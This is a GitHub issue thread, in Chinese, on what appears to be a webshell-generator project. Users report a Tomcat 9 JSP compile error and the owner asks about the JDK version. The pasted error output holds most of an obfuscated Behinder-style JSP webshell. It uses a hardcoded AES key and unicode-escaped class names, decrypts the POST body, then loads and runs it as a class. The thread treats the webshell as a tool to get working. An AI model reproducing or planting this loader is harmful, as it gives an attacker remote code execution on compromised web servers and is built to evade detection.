Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

tomcat9报错 #3

Open
Steady-brother opened this issue Mar 20, 2022 · 2 comments
Open

tomcat9报错 #3

Steady-brother opened this issue Mar 20, 2022 · 2 comments

Comments

@Steady-brother
Copy link

类型 异常报告

消息 无法为JSP编译类:

描述 服务器遇到一个意外的情况,阻止它完成请求。

例外情况

org.apache.jasper.JasperException: 无法为JSP编译类:

JSP文件:[/1.jsp] 的第 [22] 行发生了一个错误
BASE64Decoder cannot be resolved to a type
19: String[] tas9erDU = new String[]{"A", "P", "B", "O", "C", "S", "D", "T"};
20: String tas9er9v = tas9erDU[1] + tas9erDU[3] + tas9erDU[5] + tas9erDU[7];
21: if (request.getMethod().equals(tas9er9v)) {
22: String tas9er2z = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer("MTZhY2FjYzA1YWFmYWY2Nw=="));
23: session.setAttribute("u", tas9er2z);
24: Cipher tas9ert3 = Cipher.getInstance("AES");
25: tas9ert3.init(((tas9eri6 * tas9erOJ + tas9erOc - tas9erO7) * 0) + 3 - 1, new SecretKeySpec(tas9er2z.getBytes(), "AES"));

JSP文件:[/1.jsp] 的第 [26] 行发生了一个错误
sun.misc.BASE64Decoder cannot be resolved to a type
23: session.setAttribute("u", tas9er2z);
24: Cipher tas9ert3 = Cipher.getInstance("AES");
25: tas9ert3.init(((tas9eri6 * tas9erOJ + tas9erOc - tas9erO7) * 0) + 3 - 1, new SecretKeySpec(tas9er2z.getBytes(), "AES"));
26: new tas9erg8(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).tas9er86(tas9ert3.doFinal(new sun.misc.B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
27: }
28: %>

@czz1233
Copy link
Owner

czz1233 commented Mar 21, 2022

类型 异常报告

消息 无法为JSP编译类:

描述 服务器遇到一个意外的情况,阻止它完成请求。

例外情况

org.apache.jasper.JasperException: 无法为JSP编译类:

JSP文件:[/1.jsp] 的第 [22] 行发生了一个错误 BASE64Decoder cannot be resolved to a type 19: String[] tas9erDU = new String[]{"A", "P", "B", "O", "C", "S", "D", "T"}; 20: String tas9er9v = tas9erDU[1] + tas9erDU[3] + tas9erDU[5] + tas9erDU[7]; 21: if (request.getMethod().equals(tas9er9v)) { 22: String tas9er2z = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer("MTZhY2FjYzA1YWFmYWY2Nw==")); 23: session.setAttribute("u", tas9er2z); 24: Cipher tas9ert3 = Cipher.getInstance("AES"); 25: tas9ert3.init(((tas9eri6 * tas9erOJ + tas9erOc - tas9erO7) * 0) + 3 - 1, new SecretKeySpec(tas9er2z.getBytes(), "AES"));

JSP文件:[/1.jsp] 的第 [26] 行发生了一个错误 sun.misc.BASE64Decoder cannot be resolved to a type 23: session.setAttribute("u", tas9er2z); 24: Cipher tas9ert3 = Cipher.getInstance("AES"); 25: tas9ert3.init(((tas9eri6 * tas9erOJ + tas9erOc - tas9erO7) * 0) + 3 - 1, new SecretKeySpec(tas9er2z.getBytes(), "AES")); 26: new tas9erg8(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).tas9er86(tas9ert3.doFinal(new sun.misc.B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); 27: } 28: %>

jdk版本多少

@zhuxi1965
Copy link

相同报错+1,jdk1.8,tomcat9.0.46

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants